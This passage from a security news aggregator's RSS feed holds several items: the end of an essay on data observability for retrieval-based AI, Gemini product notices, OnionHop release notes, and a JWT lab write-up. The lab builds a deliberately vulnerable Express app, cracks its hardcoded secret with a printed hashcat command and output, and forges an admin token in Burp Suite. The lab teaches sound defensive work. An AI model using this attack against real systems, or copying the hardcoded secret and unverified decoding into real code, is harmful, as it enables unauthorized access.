watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
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<title><![CDATA[Google Drops Gemini Flash 3.6 on Us Teases Gemini 4]]></title>
<description><![CDATA[If you happen to be into AI and models, dancing between them depending on the task, and keeping up with the latest in Gemini, then we have news for you today in the Gemini Flash realm. Google has announced (and released) Gemini 3.6 Flash, which is their “workhouse model” that does coding, knowled...]]></description>
<link>https://tsecurity.de/de/3687393/it-nachrichten/google-drops-gemini-flash-36-on-us-teases-gemini-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687393/it-nachrichten/google-drops-gemini-flash-36-on-us-teases-gemini-4/</guid>
<pubDate>Wed, 22 Jul 2026 21:03:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you happen to be into AI and models, dancing between them depending on the task, and keeping up with the latest in Gemini, then we have news for you today in the Gemini Flash realm. Google has announced (and released) Gemini 3.6 Flash, which is their “workhouse model” that does coding, knowledge work, and...</p>
<p>Read the original post: <a href="https://www.droid-life.com/2026/07/21/google-drops-gemini-flash-3-6-on-us-teases-gemini-4/">Google Drops Gemini Flash 3.6 on Us Teases Gemini 4</a></p>]]></content:encoded>
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<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Gemini Alpha is now Gemini Beta]]></title>
<description><![CDATA[We’re updating the name of the Gemini Alpha program to "Gemini Beta." This new name more accurately reflects both the scale and the quality of the features that enter this launch stage. Please note that this is solely a branding change. This update does not alter any customer configurations, data...]]></description>
<link>https://tsecurity.de/de/3687298/web-tipps/gemini-alpha-is-now-gemini-beta/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687298/web-tipps/gemini-alpha-is-now-gemini-beta/</guid>
<pubDate>Wed, 22 Jul 2026 20:31:40 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We’re updating the name of the Gemini Alpha program to "Gemini Beta." This new name more accurately reflects both the scale and the quality of the features that enter this launch stage. Please note that this is solely a branding change. This update does not alter any customer configurations, data privacy constraints, or pricing tiers. All existing admin controls and customer opt-ins are fully preserved. Your current Terms of Service continue to apply, and customers do not need to re-sign any agreements.</p><p>As a reminder, we’ll continue to announce new Gemini Beta features in the <a href="https://discuss.google.dev/c/workspace-releases/22" target="_blank">Google Developer Program (GDP)</a> forum and the <a href="https://knowledge.workspace.google.com/p/gemini-beta" target="_blank">Gemini Beta Help Center</a>. You must be an active Workspace customer and register to access GDP content; follow these <a href="https://docs.google.com/document/d/16_AW7LIHrI7de_7jTZIWQIFS3us1Cm8sAmASSFQP56c/edit?usp=sharing" target="_blank">instructions to sign up</a>.</p><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>There is no change to <a href="https://knowledge.workspace.google.com/p/gemini-beta" target="_blank">existing admin controls</a>. You will begin to see the "Gemini Beta" label replace "Gemini Alpha" in the Admin console and Help Center articles over the next several weeks.</li><li><b>End users:</b> There is no end user setting for this change.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on July 22, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li><b>Business: </b>Business Starter, Standard, and Plus</li><li><b>Enterprise: </b>Enterprise Starter, Standard, and Plus</li><li><b>Education Add-ons:</b> Google AI Pro for Education</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/admin/generative-ai/workspace-with-gemini/turn-access-to-google-workspace-with-gemini-alpha-on-or-off" target="_blank">Turn access to Google Workspace with Gemini Beta on or off</a></li><li>Google Developer Program: <a href="https://discuss.google.dev/c/workspace-releases/workspace-alpha/workspace-alpha-forum/222" target="_blank">Workspace Alpha Forum</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[OnionHop 3.6]]></title>
<description><![CDATA[The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.
Added

SNI scanner (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. Domain mode tests a list of can...]]></description>
<link>https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:20 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner</strong> (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. <strong>Domain mode</strong> tests a list of candidate domains as SNI on :443; <strong>Range mode</strong> tests one SNI across an IPv4 CIDR range (bounded). Working hosts can be applied as your custom SNI hosts (used by fronted webtunnel/meek/snowflake bridges) or saved to the library. Green = handshake completed (usable), red = blocked/reset.</li>
<li><strong>Saved-bridges library</strong> (Scanner → Saved). Bridges from the bridge scanner and hosts from the SNI scanner can be saved to a persistent library, then labelled, re-applied or removed later - scan results are no longer lost when the scan finishes. Both scanners gained a <strong>Save to Library</strong> action.</li>
<li><strong>Current Bridge tab: per-row copy + sortable columns</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792201997" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/69" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/69/hovercard" href="https://github.com/center2055/OnionHop/issues/69">#69</a>). Each bridge row has a one-tap copy button, and the Type / Address / Status headers sort on click (click again to reverse); the bridge currently in use stays pinned to the top.</li>
<li><strong>Bridge copy/export refinement</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623180884" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/56" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/56/hovercard" href="https://github.com/center2055/OnionHop/issues/56">#56</a>). Copy on the Current Bridge tab now returns only the bridge Tor is actually using (not the whole supplemented list), and Export writes a CSV with Type, Address, Status, Fingerprint and the raw line.</li>
<li><strong>CLI <code>scan &lt;type&gt; --use</code>.</strong> After probing, the reachable bridges are saved as your custom list and selected as the source, so the next <code>connect</code> uses exactly those - the command-line equivalent of the GUI scanner's Apply button.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li><strong>Custom bridge source ignored under Smart Connect</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793735074" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/70" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/70/hovercard" href="https://github.com/center2055/OnionHop/issues/70">#70</a>). Smart Connect (on by default) reset the source to Auto and dropped your custom bridge list while racing its own transports, so a pasted obfs4 bridge could end up connecting via a webtunnel bridge you never added. Smart Connect now honors an explicit Custom source and uses exactly those bridges.</li>
</ul>
<p>Thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Airuop/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Airuop">@Airuop</a> for the scanner and bridge-tab suggestions.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.exe</code> / <code>OnionHopCLI-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Not sure which Mac you have? Apple menu &gt; About This Mac. "Apple M1/M2/M3/M4" means Apple Silicon (arm64); anything listing an Intel processor needs the x64 build.</p>
</blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.1]]></title>
<description><![CDATA[A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.
Fixed

SNI scanner never found a working host. Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back...]]></description>
<link>https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:19 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.</p>
<h3>Fixed</h3>
<ul>
<li><strong>SNI scanner never found a working host.</strong> Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back "blocked" and the scanner looked like it did nothing. It now completes TLS handshakes and reports reachable SNI hosts correctly.</li>
<li><strong>SNI scanner status messages are now localized</strong> ("Ready.", "Scanning…", "Enter at least one domain to test.", etc.) instead of always showing in English.</li>
</ul>
<h3>Added</h3>
<ul>
<li>The saved-bridges library now shows a <strong>Ping</strong> column - the latency measured when each entry was saved.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.1.exe</code> / <code>OnionHopCLI-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
